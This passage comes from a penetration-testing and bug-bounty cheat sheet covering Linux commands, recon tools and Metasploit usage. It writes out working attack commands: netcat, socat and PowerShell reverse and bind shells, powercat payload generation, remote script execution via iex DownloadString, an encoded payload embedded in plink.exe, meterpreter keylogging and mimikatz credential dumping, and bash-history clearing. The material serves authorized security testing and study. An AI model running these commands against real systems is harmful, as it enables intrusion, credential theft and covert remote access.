more advantages - Use mimikatz for this pupose - Run `privilege::debug` and `sekurlsa::logonpasswords` - Lateral Movement - leverage the domain admin privileges of one of the account found to get access to the domain controller ### <ins>Bug Bounty Hunting</ins> #### **Multiple targets** - [ ] Run EasyG assetenum - [ ] Select the interesting targets - Pass the subdomains to Burp Suite - Open them in Firefox - [ ] Check for mobile/desktop applications - If there are any other non-web application, use Apkleak and Source2Url (even if OoS) - [ ] If every asset is in scope - [bgp.he.net](https://bgp.he.net/) - [Crunchbase](https://www.crunchbase.com/) - [OCCRP Aleph](https://aleph.occrp.org/) #### **Single target** - [ ] Recon + Explore the app, see and every functionality (eventually, search for documentation) + Crawl with Burp Suite + Collect endpoints with [BurpJSLinkFinder](https://github.com/InitRoot/BurpJSLinkFinder) + [Content Discovery](#content-discovery), use tools, [Google Dorking](#google-dorking) and [GitHub Dorking](#github-dorking) + Check the [Testing layers](#testing-layers) - [ ] Authentication - See [Authentication vulnerabilities](#authentication-vulnerabilities) - Account Section - Profile - Stored or Blind [XSS](#cross-site-scripting-xss) - App Custom Fields - Integrations - [SSRF](#server-side-request-forgery-ssrf), [XSS](#cross-site-scripting-xss) - [ ] [Upload Functions](#file-upload-vulnerabilities) - [ ] Email functions, check if you can send emails from the target - [ ] Spoofing - [ ] HTML Injection - [ ] [XSS](#cross-site-scripting-xss) - [ ] Feedback functions - Look for [Blind XSS](#cross-site-scripting-xss) - [ ] Broken Access Control, IDOR & co - [IDOR Checklist](https://twitter.com/hunter0x7/status/1580211248037126145) - [ ] Content Types - Look for multipart-forms - Look for content type XML - Look for content type json - [ ] APIs - Methods - [API Security Checklist](https://github.com/shieldfy/API-Security-Checklist) - [ ] Errors - Change POST to GET - [ ] [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/index.html), check also - [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) - [OWASP Web Application Penetration Checklist](https://wiki.owasp.org/index.php/Testing_Checklist) - [ ] [Look at the index of this repo](#index) and see if you've missed anything interesting ## Linux Note: a lot of these commands are from [RTFM: Red Team Field Manual](https://www.goodreads.com/en/book/show/21419959) by Ben Clark and from [PEN-200: Penetration Testing with Kali Linux](https://www.offsec.com/courses/pen-200/) by Offensive Security. <ins>**Linux Services and Networking**</ins> ``` netstat -tulpn Show Linux network ports with process ID’s (PIDs) watch ss -stplu Watch TCP, UDP open ports in real time with socket summary lsof -i Show established connections macchanger -m MACADDR INTR Change MAC address on KALI Linux ifconfig eth0 192.168.2.1/24 Set IP address in Linux ifconfig eth0:1 192.168.2.3/24 Add IP address to existing network interface in Linux ifconfig eth0 hw ether MACADDR Change MAC address in Linux using ifconfig ifconfig eth0 mtu 1500 Change MTU size Linux using ifconfig, change 1500 to your desired MTU dig -x 192.168.1.1 Dig reverse lookup on an IP address host 192.168.1.1 Reverse lookup on an IP address, in case dig is not installed dig @192.168.2.2 domain.com -t AXFR Perform a DNS zone transfer using dig host -l domain.com nameserver Perform a DNS zone transfer using host nbtstat -A x.x.x.x Get hostname for IP address ip addr add 192.168.2.22/24 dev eth0 Adds a hidden IP address to Linux, does not show up when performing an ifconfig tcpkill -9 host google.com Blocks access to google.com from the host machine echo \"1\" > /proc/sys/net/ipv4/ip_forward Enables IP forwarding, turns Linux box into a router – handy for routing traffic through a box echo \"8.8.8.8\" > /etc/resolv.conf Use Google DNS sudo systemctl start ssh Start the SSH service in Kali sudo ss -antlp | grep sshd Confirm that SSH has been started and is running sudo systemctl enable ssh Configure SSH to start at boot time sudo systemctl start apache2 Start the apache service in Kali sudo ss -antlp | grep apache Confirm that apache has been started and is running sudo systemctl enable apache2 Enable apache to start at boot time systemctl list-unit-files Display all available services ps -fe Common ps syntax to list all the processes currently running; f: display full format listing (UID, PID, PPID, etc.), e: select all processes, C: select by command name sudo tail -f /var/log/apache2/access.log Monitor the Apache log file using tail command ``` <ins>**Linux User Management**</ins> ``` whoami Shows currently logged in user on Linux id Shows currently logged in user and groups for the user last Shows last logged in users mount Show mounted drives df -h Shows disk usage in human readable output echo \"user:passwd\" | chpasswd Reset password in one line getent passwd List users on Linux strings /usr/local/bin/blah Shows contents of none text files, e.g. whats in a binary uname -ar Shows running kernel version history Show bash history, commands the user has entered previously ``` <ins>**Linux File Commands**</ins> ``` df -h blah Display size of file / dir Linux diff file1 file2 Compare / Show differences between two files on Linux md5sum file Generate MD5SUM Linux md5sum -c blah.iso.md5 Check file against MD5SUM on Linux, assuming both file and .md5 are in the same dir file blah Find out the type of file on Linux, also displays if file is 32 or 64 bit dos2unix Convert Windows line endings to Unix / Linux base64 < input-file > output-file Base64 encodes input file and outputs a Base64 encoded file called output-file base64 -d < input-file > output-file Base64 decodes input file and outputs a Base64 decoded file called output-file touch -r ref-file new-file Creates a new file using the timestamp data from the reference file, drop the -r to simply create a file rm -rf Remove files and directories without prompting for confirmation mkdir -p pt/{recon,exploit,report} This command will create a directory pt and inside of it the directories recon, exploit and report ls /etc/apache2/wwwold/*.conf Display files with certain criteria ls -a -a option is used to display all files ls -1 Display each file in a single line ls -l Shows detailed information about the files and directories in a directory ls -la /usr/bin | grep zip Search for any file(s) in /usr/bin containing "zip" pwd Print the current directory cd ~ Return to the home/user directory echo "test1" > test.txt Saves "test1" in the new file "test.txt" echo "test2" >> test.txt Add in a new line "test2" in the file "test.txt" echo "hack::the::world" | awk -F "::" '{print $1, $3}' Extr fields from a stream using a multi-character separator in awk comm scan-a.txt scan-b.txt Compare files diff -c scan-a.txt scan-b.txt Compare files, context format diff -u scan-a.txt scan-b.txt Compare files, unified format vimdiff scan-a.txt scan-b.txt Compare files using vim ``` <ins>**Misc Commands**</ins> ``` init 6 Reboot Linux from the command line gcc -o output.c input.c Compile C code gcc -m32 -o output.c input.c Cross compile C code, compile 32 bit binary on 64 bit Linux unset HISTORYFILE Disable bash history logging kill -9 $$ Kill current session chown user:group blah Change owner of file or dir chown -R user:group blah Change owner of file or dir and all underlying files / dirs – recersive chown chmod 600 file Change file / dir permissions, see [Linux File System Permissons](#linux-file-system-permissions) for details ssh [email protected] | cat /dev/null > ~/.bash_history Clear bash history man -k '^passwd$' See the documentation of a command. Use the flag -k for keyword research man 5 passwd See the page 5 of the documentation apropos descr See wich description from docs matches the input for apropos locate sbd.exe Locate "sbd.exe" sudo find / -name sbd* Perform recursive search starting from root file system directory and look for files that starts with "sbd" which sbd Search in $PATH "sbd" apt-cache search pure-ftpd Search for the pure-ftpd application apt show resource-agents Examine information related to the resource-agents package sudo apt install pure-ftpd apt install the pure-ftpd application sudo apt remove --purge pure-ftpd apt remove –purge to completely remove the pure-ftpd application sudo dpkg -i man-db_2.7.0.2-5_amd64.deb dpkg -i to install the man-db application echo "I need to try hard" | sed 's/hard/harder/' Replac a word in the output stream echo "Hack.The.World."| cut -f 3 -d "." Extract fields from the echo command output using cut cut -d ":" -f 1 /etc/passwd Extract usernames from /etc/passwd using cut wc -m < test.txt Feed the wc command with the < operator cat test.txt | wc -m Pip the output of the cat command into wc wget -O report_w.pdf https://of.io/report.pdf Download a file through wget curl -o report_c.pdf https://of.io/report.pdf Download a file with curl axel -a -n 20 -o report_a.pdf https://of.io/report.pdf Download a file with axel; -n: number of multiple connections to use, -a: more concise progress indicator, -o specify a different file name for the downloaded file alias lsa='ls -la' Create an alias "lsa" to execute the command "ls -la" alias mkdir='ping -c 1 localhost' Creat an alias that overrides the mkdir command unalias mkdir Unsett an alias cat ~/.bashrc Examin the ".bashrc" default file, the system-wide file for Bash settings located at "/etc/bash.bashrc" chmod +x Make a file executable xfreerdp /u:<user> /p:<password> /cert:ignore /v:<ip> Connect with RDP rdesktop -u <user> -p <password> <ip> Connect with RDP ``` <ins>**Linux environment variables**</ins> ``` export vartest=8.8.8.8 Declare an environment variable env See all declared environment variables $$ Env var; Display the ID of the current shell instance $PATH Env var; List of directories for the shell to locate executable files PATH=$PATH:/my/new-path Add a new PATH, handy for local FS manipulation $USER Env var; Current user $PWD Env var; Current directory path $HOME Env var; Home directory path HISTCONTROL Env var; Defines whether or not to remove duplicate commands export HISTCONTROL=ignoredups Remove duplicates from our bash history export HISTIGNORE="&:ls:[bf]g:exit:history" Filter basic, common commands export HISTTIMEFORMAT='%F %T ' Include the date/time in our bash history ``` <ins>**Linux File System Permissions**</ins> ``` 777 rwxrwxrwx No restriction, global WRX any user can do anything 755 rwxr-xr-x Owner has full access, others can read and execute the file 700 rwx------ Owner has full access, no one else has access 666 rw-rw-rw- All users can read and write but not execute 644 rw-r--r-- Owner can read and write, everyone else can read 600 rw------- Owner can read and write, everyone else has no access ``` <ins>**Linux Directories**</ins> ``` / / also know as “slash” or the root /bin Common programs, shared by the system, the system administrator and the users /boot Boot files, boot loader (grub), kernels, vmlinuz /dev Contains references to system devices, files with special properties /etc Important system config files /home Home directories for system users /lib Library files, includes files for all kinds of programs needed by the system and the users /lost+found Files that were saved during failures are here /mnt Standard mount point for external file systems /media Mount point for external file systems (on some distros) /net Standard mount point for entire remote file systems – nfs /opt Typically contains extra and third party software /proc A virtual file system containing information about system resources /root root users home dir /sbin Programs for use by the system and the system administrator /tmp Temporary space for use by the system, cleaned upon reboot /usr Programs, libraries, documentation etc. for all user-related programs /var Storage for all variable files and temporary files created by users, such as log files, mail queue, print spooler, Web servers, Databases etc ``` <ins>**Linux Interesting Files / Directories**</ins> ``` /etc/passwd Contains local Linux users /etc/shadow Contains local account password hashes /etc/group Contains local account groups /etc/init.d/ Contains service init script – worth a look to see whats installed /etc/hostname System hostname /etc/network/interfaces Network interfaces /etc/resolv.conf System DNS servers /etc/profile System environment variables ~/.ssh/ SSH keys ~/.bash_history Users bash history log /var/log/ Linux system log files are typically stored here /var/adm/ UNIX system log files are typically stored here /var/log/apache2/access.log Apache access log file typical path /var/log/httpd/access.log Apache access log file typical path /etc/fstab File system mounts ``` <ins>**Examples**</ins> - Search the /etc/passwd file for users with a shell set to /bin/false and prints the username and home directory of each user found: `cat /etc/passwd | awk -F: '{if ($7 == "/bin/false") print "The user " $1 " home directory is " $6}'` - Inspect Apache logs 1. Get IPs in access.log, count the frequency and sort them: `cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn` 2. From the log file, pick one IP: `cat access.log | grep '108.38.224.98' | cut -d "\"" -f 2 | uniq -c` 3. Further inspect user's behavior: `cat access.log | grep '108.38.224.98' | grep '/admin ' | sort -u` - [Mounting a Shared Folder on a Linux Computer](https://docs.qnap.com/operating-system/qts/4.5.x/en-us/GUID-445D5C06-7E5A-4232-AC76-CDAF48EDB655.html) - `mount <NAS Ethernet Interface IP>:/share/<Shared Folder Name> <Directory to Mount>` ## Tools ### <ins>EasyG</ins> [EasyG](easyg.rb) is a script that I use to automate some information gathering tasks for my hacking process. It uses: amass, subfinder, github-subdomains, gobuster, anew, httprobe, naabu and nuclei. Install the necessary tools with [install.bat](install.bat) or [install.sh](install.sh) and then run `ruby easyg.rb`. - [XSS all the things](XSS%20all%20the%20things/) some payloads to find XSS in various places - [lists](lists/) - [findtheevent.txt](lists/findtheevent.txt) and [findthetag.txt](lists/findthetag.txt) helps me test for XSS faster, created with the help of [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) - [scripts](scripts/) - [fg.rb](scripts/fg.rb) a copy of [tomnomnom/gf](https://github.com/tomnomnom/gf) made in ruby - [paramspider_support.rb](scripts/paramspider_support.rb) use paramspider with a list of targets as an input - [shells](shells/) to test file uploads ### <ins>Burp Suite</ins> - To add a domain + subdomains in advanced scopes: `^(.*\.)?test\.com$` - [To fix visual glitches](https://forum.portswigger.net/thread/visual-glitches-within-burp-on-secondary-screen-390bebb0) - To add a new header ``` 1. Go to Proxy -> Options -> Match and Replace -> Add 2. Change Type to Request Header 3. As the default text says in Match 'leave blank to add a new header' 4. Put the new header in Replace ``` - Analyze better the results from Intruder with Settings > "Grep - Extract" - Manually select in the response the value that you want to track in a new column in the results **Cool extensions** - [Turbo Intruder](https://github.com/PortSwigger/turbo-intruder) - [HTTP Request Smuggler](https://github.com/PortSwigger/http-request-smuggler) - [Wsdler](https://github.com/NetSPI/Wsdler) to interact with SOAP - [InQL](https://portswigger.net/bappstore/296e9a0730384be4b2fffef7b4e19b1f) - [Swagger-EZ](https://github.com/RhinoSecurityLabs/Swagger-EZ) - [BurpCustomizer](https://github.com/CoreyD97/BurpCustomizer) - [Software Version Reporter](https://portswigger.net/bappstore/ae62baff8fa24150991bad5eaf6d4d38) - [Software Vulnerability Scanner](https://portswigger.net/bappstore/c9fb79369b56407792a7104e3c4352fb) - [IP Rotate](https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874) - [Autorize](https://github.com/PortSwigger/autorize) - [BurpJSLinkFinder](https://github.com/InitRoot/BurpJSLinkFinder) - [Anonymous Cloud](https://portswigger.net/bappstore/ea60f107b25d44ddb59c1aee3786c6a1) - [Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) - [JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd) - [GetAllParams evolution](https://github.com/xnl-h4ck3r/GAP-Burp-Extension) - [Burp Bounty](https://burpbounty.net/) **Browser extensions** - [Trufflehog Chrome Extension](https://github.com/trufflesecurity/Trufflehog-Chrome-Extension) - [Wappalyzer](https://www.wappalyzer.com/) - [DotGit](https://github.com/davtur19/DotGit) - [Cookie-Editor](https://cookie-editor.cgagnier.ca/) - [Shodan for Chrome](https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap) and [for Firefox](https://addons.mozilla.org/en-US/firefox/addon/shodan_io/) - If you are using FireFox, you could use [FoxyProxy](https://getfoxyproxy.org/) ### <ins>Netcat</ins> **Misc Commands** ``` nc -nv <IP> <port> Connect to a TCP port nc -nlvp <port> Set up a listener nc -nv <IP> <port> Connect to a listener nc -nlvp <port> > incoming.exe Receive a file nc -nv <IP> <port> < /usr/share/windows-resources/binaries/wget.exe Transfer a file nc -nlvp <port> -e cmd.exe Set up a bind shell nc -nv <IP> <port> -e /bin/bash Send a reverse shell ``` **Port Scanning** ``` nc -nvv -w 1 -z <IP> <PORT-RANGE> Use netcat to perform a TCP port scan nc -nv -u -z -w 1 <IP> <PORT-RANGE> Use netcat to perform an UDP port scan ``` ### <ins>Socat</ins> **Misc Commands** ``` socat - TCP4:<remote server's ip address>:80 Connect to a remote server on port 80 socat TCP4-LISTEN:<PORT> STDOUT Create a listener socat -d -d TCP4-LISTEN:<PORT> STDOUT Create a listener, -d -d for more verbosity socat TCP4-LISTEN:<PORT>,fork file:secret.txt Transfer a file socat TCP4:<IP>:<PORT> file:received_secret.txt,create Receive a file socat TCP4:<IP>:<PORT> EXEC:/bin/bash Send a reverse shell socat OPENSSL-LISTEN:<PORT>,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash Create an encrypted bind shell socat - OPENSSL:<IP>:<PORT>,verify=0 Connect to an encrypted bind shell ``` **Reverse Shell** ``` socat -d -d TCP4-LISTEN:<PORT> STDOUT User 1, create a listener socat TCP4:<IP>:<PORT> EXEC:/bin/bash User 2, send reverse shell to User 1 ``` **Encrypted bind shell with OpenSSL** ``` $ openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 365 -out bind_shell.crt req: initiate a new certificate signing request -newkey: generate a new private key rsa:2048: use RSA encryption with a 2,048-bit key length. -nodes: store the private key without passphrase protection -keyout: save the key to a file -x509: output a self-signed certificate instead of a certificate request -days: set validity period in days -out: save the certificate to a file $ cat bind_shell.key bind_shell.crt > bind_shell.pem $ sudo socat OPENSSL-LISTEN:<PORT>,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash Create an encrypted bind shell $ socat - OPENSSL:<IP>:<PORT>,verify=0 Connect to the encrypted bind shell ``` ### <ins>PowerShell</ins> **Misc Commands** ```PowerShell Set-ExecutionPolicy Unrestricted Set the PowerShell execution policy Get-ExecutionPolicy Get value for ExecutionPolicy (new-object System.Net.WebClient).DownloadFile('http://<IP>/<filename>','C:\<DIR>\<filename>') Download a file iwr -uri http://<IP>/<filename> -Outfile <filename> Download a file powershell -c "command" The -c option will execute the supplied command as if it were typed at the PowerShell prompt ``` **Encode PowerShell from the command line** - ```PowerShell echo "iex(cmd)" | iconv -t UTF-16LE | base64 -w 0 | xclip -sel clip ``` - [[Reference](https://twitter.com/whitecyberduck/status/1660095924931010560?s=46)] **Send a reverse shell with PowerShell** - ```PowerShell powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` - ```PowerShell $client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); } $client.Close(); ``` **Set up a bind shell with PowerShell** ```PowerShell powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()" ``` **Powercat** Script: [powercat.ps1](https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1). ```PowerShell powercat -c <IP> -p <PORT> -i C:\<DIR>\powercat.ps1 Send a file powercat -c <IP> -p <PORT> -e cmd.exe Send a reverse shell powercat -l -p 443 -e cmd.exe Set up a bind shell; -l option to create a listener, -p to specify the listening port number, -e to have an application executed once connected powercat -c <IP> -p <PORT> -e cmd.exe -g > reverseshell.ps1 Create a stand-alone payload powercat -c <IP> -p <PORT> -e cmd.exe -ge > encodedreverseshell.ps1 Create an encoded stand-alone payload with powercat ``` **Load a remote PowerShell script using iex** ```PowerShell iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') ``` **Execute an encoded stand-alone payload using PowerShell** ```PowerShell powershell.exe -E ZgB1AG4AYwB0AGkAbwBuACAAUwB0AHIAZQBhAG0AMQBfAFMAZQB0AHUAcAAKAHsACgAKACAAIAAgACAAcABhAHI... ``` **Upload a file to an FTP server** ```PowerShell $ftpRequest = [System.Net.FtpWebRequest]::Create("ftp://<IP>:<PORT>/<FILE_TO_UPLOAD>"); $ftpRequest.Credentials = New-Object System.Net.NetworkCredential("<USERNAME>", "<PASSWORD>"); $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile; $fileContents = [System.IO.File]::ReadAllBytes((Resolve-Path "<FILE_TO_UPLOAD>")); $ftpRequest.ContentLength = $fileContents.Length; $requestStream = $ftpRequest.GetRequestStream(); $requestStream.Write($fileContents, 0, $fileContents.Length); $requestStream.Close(); $response = $ftpRequest.GetResponse(); $response.Close() ``` - Change `<IP>`, `<PORT>`, `<FILE_TO_UPLOAD>`, `<USERNAME>`, `<PASSWORD>` ### <ins>WireShark</ins> **Filters** - `net 10.10.1.0/24`, capture traffic only on the `10.10.1.0/24` address range **Display filters** - `tcp.port == 21`, only display FTP data **Misc operations** - Follow TCP stream: `Right-click` > `Follow` > `TCP Stream` - [Display Filter Reference](https://www.wireshark.org/docs/dfref/) - [Wireshark User’s Guide](https://www.wireshark.org/docs/wsug_html_chunked/) ### <ins>Tcpdump</ins> ``` tcpdump -r packets.pcap Read packet capture tcpdump -n -r packets.pcap | awk -F" " '{print $3}' | sort | uniq -c | head Read and filter the packet capture; -n option to skip DNS name lookups, -r to read from our packet capture file awk to print the destination IP address and port, sort and uniq -c to sort and count the number of times the field appears in the capture, respectively, head to only display the first 10 lines of the output tcpdump -n src host <IP> -r packets.pcap Tcpdump filters; src host to output only source traffic tcpdump -n dst host <IP> -r packets.pcap Tcpdump filters; dst host to output only destination traffic tcpdump -n port <PORT> -r packets.pcap Tcpdump filters; filter by port number tcpdump -nX -r packets.pcap -X to print packet data in both HEX and ASCII format ``` **Advanced Header Filtering: display only the data packets** 1. Look for packets that have the `PSH` and `ACK` flags turned on - The `ACK` flag will be set for all packets sent and received after the initial 3-way handshake - In interactive Application Layer protocols, the `PSH` flag is frequently used to guarantee rapid delivery of a packet and prevent buffering. 2. TCP flags are defined starting from the 14th byte - `ACK` and `PSH` are represented by the fourth and fifth bits of the 14th byte - Turning on these bits would result in `00011000` = `24` in decimal, verify it with `echo "$((2#00011000))"` 3. To display packets that have the ACK or PSH flags set: `sudo tcpdump -A -n 'tcp[13] = 24' -r packets.pcap` ### <ins>Bash scripting</ins> - Grep all the subdomains for `target.com` from `index.html`: `grep -o '[^/]*\.target\.com' index.html | sort -u > list.txt` - Get the IPs from list.txt: `for url in $(cat list.txt); do host $url; done | grep "has address" | cut -d " " -f 4 | sort -u` ### <ins>Metasploit Framework</ins> See: [The Metasploit Framework](https://www.metasploit.com/) #### Starting Metasploit ``` sudo systemctl start postgresql start postgresql manually sudo systemctl enable postgresql start postgresql at boot sudo msfdb init create the Metasploit database sudo apt update; sudo apt install metasploit-framework update the Metasploit Framework sudo msfconsole -q start the Metasploit Framework ``` #### MSF Syntax ``` show -h help flag show auxiliary list all auxiliary modules search type:auxiliary name:smb search for SMB auxiliary modules back move out of the current context and return to the main msf5 prompt previous switch us back to the previously selected module services display the metasploit database logs; -p: filter by port number; -s: service name; -h: help command hosts show discovered hosts db_nmap <IP> -A -Pn performing a Nmap scan from within Metasploit workspace list workspaces; -a: add a workspace, -d: delete a workspace sessions -l list all sessions; -i: to interact with a session transport list list the currently available transports for the meterpreter connection ``` To interact with a module - `info` request more info about the module - `show options` most modules require options - Use `set` and `unset` to configure the options - Use `setg` and `unsetg` to configure global options - `show payloads` list all payloads that are compatible with the current exploit module - `check` check if the target is vulnerable - `run` or `exploit` to run the exploit - `-j` use as background job - `jobs` list background jobs - `kill` kill job #### <ins>Exploit Modules</ins> #### Staged vs Non-Staged Payloads - `windows/shell_reverse_tcp` - Connect back to attacker and spawn a command shell - `windows/shell/reverse_tcp` - Connect back to attacker, Spawn cmd shell (staged) - Useful, for example, if the vulnerability you need to exploit doesn't have enough buffer space to hold a full payload #### Meterpreter - `upload /usr/share/windows-resources/binaries/nc.exe c:\\Users\\tidus` - `download c:\\Windows\\system32\\calc.exe /tmp/calc.exe` - `shell` get the shell #### Other notes - `generate -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-resources/binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe` embedding the payload in plink.exe from within msfconsole - Use the framework `multi/handler` to catch standard reverse shells - Works for all single and multi-stage payloads - Specify the incoming payload type #### <ins>Post-Exploitation</ins> ``` screenshot take a screenshot of the compromised host desktop keyscan_start start the keystroke sniffer keyscan_dump dump captured keystrokes keyscan_stop stop the keystroke sniffer ``` **Migrate your meterpreter process** - `ps` view all running processes and then pick one - `migrate <PID>` migrate the process to a target PID **Use mimikatz from meterpreter** - `load kiwi` run the extension kiwi - `getsystem` acquire SYSTEM privileges - `creds_msv` dump the system credentials **Port forwarding** - `meterpreter> portfwd -h` - Example `portfwd add -l 3389 -p 3389 -r 192.168.1.121` ### <ins>Others</ins> **For a temporary server** - `python -m SimpleHTTPServer 7331` - `python3 -m http.server 7331` - `php -S 0.0.0.0:8000` - `ruby -run -e httpd . -p 9000` - `busybox httpd -f -p 10000` **For a temporary public server** - [XAMPP](https://www.apachefriends.org/) + [ngrok](https://ngrok.com/) - [beeceptor](https://beeceptor.com/) **For a temporary FTP server** - Host: `python -m pyftpdlib -w` - Client: ``` ftp open <IP> 2121 anonymous ``` **For auths** - [textverified.com](https://www.textverified.com/) for auths requiring a phone number - [temp-mail.org](https://temp-mail.org/en/) **To find parameters** - [Arjun](https://github.com/s0md3v/Arjun) detection of the parameters present in the application - [ParamSpider](https://github.com/devanshbatham/ParamSpider) **Asset enumeration/discovery** - [amass](https://github.com/OWASP/Amass) - `amass enum -brute -active -d target -o output/target.txt -v` - [subfinder](https://github.com/projectdiscovery/subfinder) - `subfinder -d target -all -o output/target_subfinder.txt"` - [github-subdomains](https://github.com/gwen001/github-subdomains) - [bgp.he.net](https://bgp.he.net/) to find ASN + `amass intel -asn <ASN>` - [crt.sh](https://crt.sh/) - [Crtsh-Fetcher](https://github.com/m0pam/crtsh-fetcher) - To find new domains ` cat json.txt | jq -r '.[].common_name' | sed 's/\*//g' | sort -u | rev | cut -d "." -f 1,2 | rev | sort -u | tee out.txt` - [gobuster](https://github.com/OJ/gobuster) + [all.txt by jhaddix](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [dnsx](https://github.com/projectdiscovery/dnsx) - Reverse DNS lookup `cat ip.txt | dnsx -ptr -resp-only` - [VhostScan](https://github.com/codingo/VHostScan) to discover virtual hosts - [gip](https://github.com/dalance/gip) a command-line tool and Rust library to check global IP address. - [anew](https://github.com/tomnomnom/anew) to add only new subdomains - [httpx](https://github.com/projectdiscovery/httpx) - `type scope.txt | httpx -sc -mc 404` find `404` pages - [urless](https://github.com/xnl-h4ck3r/urless) - [hakcheckurl](https://github.com/hakluke/hakcheckurl) - `python3 urless.py -i urls.txt | hakcheckurl | grep -v 404` **Exploits** - [SearchSploit](https://www.exploit-db.com/searchsploit) - `searchsploit afd windows -w -t`; `-w` to return the URL for https://www.exploitdb.com, `-t` to search the exploit title - [Packet Storm](https://packetstormsecurity.com) - [BugTraq](https://bugtraq.securityfocus.com/archive) - [National Vulnerability Database](https://nvd.nist.gov/) - [Browser Exploitation Framework (BeEF)](https://beefproject.com/) - [PoC in GitHub](https://github.com/nomi-sec/PoC-in-GitHub) **For Reporting** - [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) - [CVSS Calculator](https://www.first.org/cvss/calculator/3.1) - [PwnDoc](https://github.com/pwndoc/pwndoc) - [Vulnrepo](https://vulnrepo.com/home) - [PlexTrac](https://plextrac.com/) - [Offensive Security Exam Report Template in Markdown](https://github.com/noraj/OSCP-Exam-Report-Template-Markdown) **Misc tools** - [URL Decoder/Encoder](https://meyerweb.com/eric/tools/dencoder/) - [base64encode.org](https://www.base64encode.org/) - [Down or not](https://www.websiteplanet.com/webtools/down-or-not/) - [DigitalOcean](https://www.digitalocean.com/) See [Setting Up Your Ubuntu Box for Pentest and Bug Bounty Automation](https://www.youtube.com/watch?v=YhUiAH5SIqk) - [Exploit Database](https://www.exploit-db.com/) - [USB Rubber Ducky](https://shop.hak5.org/products/usb-rubber-ducky) - [Flipper Zero](https://flipperzero.one/) - [Create a random text file](https://onlinefiletools.com/generate-random-text-file) - [BruteSpray](https://github.com/x90skysn3k/brutespray) `python brutespray.py --file nmap.xml --threads 5 --hosts 5` - [BadSecrets](https://github.com/blacklanternsecurity/badsecrets) a library and command line tool for finding secrets - [Proxyman](https://proxyman.io/) to view requests from the app on your computer - [filesec.io](https://filesec.io/) - [malapi.io](https://malapi.io/) - [lots-project.com](https://lots-project.com/) - [lolbas-project.github.io](https://lolbas-project.github.io/) - [gtfobins.github.io](https://gtfobins.github.io/) - [loldrivers.io](https://www.loldrivers.io/) - [WAF Bypass Tool](https://github.com/nemesida-waf/waf-bypass) - [Forensia](https://github.com/PaulNorman01/Forensia) - [peepdf - PDF Analysis Tool](https://eternal-todo.com/tools/peepdf-pdf-analysis-tool) ## Passive Information Gathering (OSINT) ### <ins>Notes</ins> - [ ] Target validation - [ ] Search for email addresses of employees - What's the format? Does it change for founders, chief officers etc.? - [ ] Search for corporate social media accounts - [ ] Use [whois](https://who.is/) - `whois targetcorp.com` - [ ] [Google Dorking](#google-dorking) - Start searching for PHP files and directory listing - [ ] Search for any company acquisitions of the target - [ ] See also [Content Discovery](#content-discovery) - [ ] See each section of this chapter ### <ins>Tools</ins> - [Stack Overflow](https://stackoverflow.com/) - [Information Gathering Frameworks](https://osintframework.com/) - [Maltego](https://www.maltego.com/) - [bgp.he.net](https://bgp.he.net/) - [Crunchbase](https://www.crunchbase.com/) - [OCCRP Aleph](https://aleph.occrp.org/) ### <ins>Target validation</ins> - Use `WHOIS`, `nslookup` and `dnsrecon` - [searchdns.netcraft.com](https://searchdns.netcraft.com/) - Search for registration information and site technology entries - [Recon-ng](https://github.com/lanmaster53/recon-ng) - ``` marketplace search github Search the Marketplace for GitHub modules marketplace info recon/domains-hosts/google_site_web Get information on a module marketplace install recon/domains-hosts/google_site_web Install a module modules load recon/domains-hosts/google_site_web Load a module info Get infos about module loaded options set SOURCE targetcorp.com Set a source run Run a module back Get back to default show Show the results; hosts, companies, leaks etc. ``` - Use `recon/domains-hosts/google_site_web` combined with `recon/hosts-hosts/resolve` - Passively search for information in open-source projects and online code repositories. - [GitHub Dorking](#github-dorking) - [Gitrob](https://github.com/michenriksen/gitrob) - 